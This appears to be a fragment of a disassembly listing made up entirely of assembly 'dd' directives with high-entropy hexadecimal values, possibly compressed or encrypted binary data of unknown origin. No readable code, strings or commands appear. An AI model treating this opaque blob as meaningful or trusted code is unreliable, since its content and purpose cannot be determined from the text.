		dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h,	0BBB8B00h
		dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
		dd 95C05285h, 721E1CDh,	1EB22FC2h, 82BA79h, 710D638h, 8478C337h
		dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h,	0C18F42ACh
		dd 4E01017h, 455A14EDh,	623094FCh, 2341B6Ah, 63E90205h
		dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
		dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
		dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h,	1711A100h
		dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
		dd 0B40B794h, 7D04C55h,	6122E02Bh, 856DA39Dh, 0E2B5ADD0h
		dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
		dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
		dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
		dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
		dd 110BC340h, 993D143h,	27FAEF41h, 83488E82h, 1641A1E2h
		dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
		dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
		dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
		dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
		dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
		dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
		dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h,	0FC889ECh
		dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
		dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h,	8C1FA5A1h
		dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
		dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
		dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
		dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
		dd 34B2B380h, 8D2A107h,	96044E00h, 9017A832h, 1F82EE10h
		dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
		dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
		dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
		dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
		dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
		dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
		dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
		dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
		dd 4C46DA9Dh, 3F97F51h,	85D53A97h, 0CB8238Ch, 0C800EACAh
		dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh,	0D7D07881h
		dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
		dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
		dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh,	76173E09h
		dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
		dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
		dd 8EDF1B11h, 230B280h,	71CB5CEh, 8D1A0640h, 59A08F88h
		dd 46CD1834h, 720C81Dh,	8D001913h, 1709403Ch, 0F2D73B43h
		dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
		dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
		dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
		dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
		dd 0A54AFFh, 6DB69773h,	481A0D40h, 0B807D800h, 0F2A29DFEh
		dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
		dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
		dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh,	0EA21E30h
		dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
		dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
		dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
		dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
		dd 7C8B020h, 6214230Ch,	1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
		dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
		dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
		dd 0F234675Ch, 4E0360h,	0CEA71FDBh, 85719C1Dh, 0BB8DE805h
		dd 98063CCAh, 3228025h,	776E2713h, 0A6C8E802h, 3300E90Ch
		dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
		dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
		dd 8233FDCh, 0FBC8C42h,	78C21259h, 1C941F60h, 0A472A7FFh
		dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
		dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
		dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
		dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h,	0B0FF28B5h
		dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
		dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h,	0B03DEB97h
		dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
		dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
		dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh,	24A0B609h
		dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
		dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
		dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
		dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
		dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h,	0BDE28D00h
		dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
		dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
		dd 0E46FA953h, 22CFEEh,	3EE18417h, 323F293Ch, 0CB6EAE00h
		dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh,	1201E883h
		dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
		dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
		dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h,	38002DE2h
		dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
		dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
		dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch,	0F8E37D40h
		dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
		dd 6C1504F2h, 142F43Fh,	0E95018C8h, 13208DAEh, 62F023h
		dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h,	0C0A24BFFh
		dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h,	4B5C7C3Dh
		dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h,	0C6083145h
		dd 4E8C4D6h, 3F50E4F8h,	91263382h, 270BA3EEh, 48C800C3h
		dd 7E525F1h, 4C592D2Eh,	1A24E033h, 0D20031B0h, 585067D1h
		dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
		dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh,	4E7C2F7Ch
		dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
		dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
		dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
		dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
		dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h,	0C4074B0h
		dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h,	0D846F2B8h
		dd 0EE1820h, 5C4D27D1h,	251C48B5h, 1162A10Eh, 2C57C0B3h
		dd 3B5E37h, 0E85C136Dh,	4810358Ah, 0C3FC2B8h, 5BD183BAh
		dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
		dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
		dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h,	328230Eh
		dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h,	18F1EA46h
		dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
		dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
		dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
		dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
		dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h,	9809A25Bh
		dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
		dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
		dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
		dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
		dd 2B25439Ch, 9C0C7CDh,	6D1FED19h, 0C2006A3Ah, 4034B81Eh
		dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
		dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
		dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh,	0B9071C09h
		dd 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h,	4008006h
		dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h
		dd 0BB31C413h, 881438h,	0A58552C0h, 7C428CC5h, 7C6BF048h
		dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h
		dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h
		dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h,	0E3C0040Ch
		dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h,	1336F100h
		dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h
		dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h
		dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h,	0D07E3580h
		dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh
		dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h
		dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h,	0ACD93B4Ch
		dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh
		dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh,	48030800h
		dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h,	0F44240B8h
		dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h,	0E6550012h
		dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh
		dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h,	54521F1Dh
		dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h
		dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h,	0F4EA0658h
		dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h,	0B31FC89h
		dd 3D0083C9h, 646D43Ch,	177D04h, 868A164Eh, 7536EDE0h
		dd 3890F00h, 41AEC383h,	67F93D8Fh, 0F81FEB85h, 0A593802Fh
		dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
		dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
		dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h,	0D726812h
		dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
		dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
		dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
		dd 24000901h, 28007F2h,	1EE231h, 0D6D3E30Bh, 32A221E6h
		dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
		dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
		dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
		dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
		dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
		dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch,	6FCCFB87h
		dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh,	0B21A3CF9h
		dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
		dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
		dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh,	363F7FC2h
		dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
		dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
		dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
		dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
		dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
		dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h,	6FE60B27h
		dd 331F0BEh, 1CDD2E72h,	0F1A887B0h, 0EF00AE5Dh,	60B5412Ah
		dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
		dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
		dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
		dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h,	72DF70C4h
		dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
		dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
		dd 0C58F3BCh, 7780BCAh,	0F4870063h, 2C4ABAh, 886F883h
		dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
		dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
		dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
		dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh,	35441FA2h
		dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
		dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
		dd 0DDD402h, 803FB9B4h,	88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h, 904210Ah
		dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h,	5ADC3Eh
		dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h,	3EE42h
		dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h
		dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h
		dd 0F4154CF0h, 30F64Bh,	0A101B247h, 0E8217061h,	6E1BBB1Eh
		dd 0D63A9680h, 63CF2Ch,	56FF3083h, 0AD0F4B04h, 6636E900h
		dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h
		dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h
		dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h
		dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h,	0EE10595Dh
		dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh,	0C86FF488h
		dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h
		dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h
		dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h,	0DB85D873h
		dd 110076FCh, 0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h
		dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h
		dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h
		dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh,	0D3CCA396h
		dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h
		dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h,	0BD41006Ch
		dd 2A3D7145h, 200DEE2h,	23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h
		dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h
		dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h,	71F246F0h
		dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h
		dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h
		dd 5071025h, 6F4AC15Ch,	3A144143h, 0F01EBACAh, 18A886F7h
		dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h
		dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h
		dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h
		dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h,	0FA9553F2h
		dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h
		dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h
		dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h
		dd 86164839h, 524A1CEh,	6F315314h, 20C897Ah, 48202523h
		dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h
		dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h
		dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh
		dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h
		dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h
		dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh,	0BD70D95Ah
		dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh
		dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h,	4576D4C4h
		dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh,	313F46h
		dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h,	110F5D42h
		dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h,	78189C92h
		dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h,	0B8F9BCF7h
		dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h
		dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h
		dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h
		dd 84E07A9h, 500C56E0h,	0F4B8745Dh, 430D6800h, 0D0388817h
		dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh
		dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h
		dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh
		dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch
		dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh,	0A9218057h
		dd 0B0683CE4h, 647585h,	0B80A7320h, 55357469h, 0C305E901h
		dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh
		dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh,	17045257h
		dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h
		dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h
		dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h,	8F26A69h
		dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h,	0CBF956FBh
		dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h
		dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h,	60E4D7D1h
		dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h
		dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh
		dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h
		dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h
		dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h
		dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh
		dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h,	0BF841090h
		dd 0C970F1h, 3C7FB12Bh,	1A961130h, 41D24124h, 3DA5C100h
		dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h
		dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h,	0DFCBFCFEh
		dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh
		dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h
		dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h
		dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h,	0E800318h
		dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h,	3D49B13h
		dd 6A2AC22h, 8DB1FDB4h,	0DA8BE4C0h, 0F41246EEh,	0DF013926h
		dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch,	6854A118h
		dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h
		dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h,	0C0322E24h
		dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h,	0E5A400A8h
		dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h
		dd 91590FEh, 8B005184h,	1CEEAA41h, 803108h, 9FA6C721h
		dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h,	3E64B5E2h
		dd 20048D0h, 27DC14B2h,	44B820h, 50143D4h, 0B566281Bh
		dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h
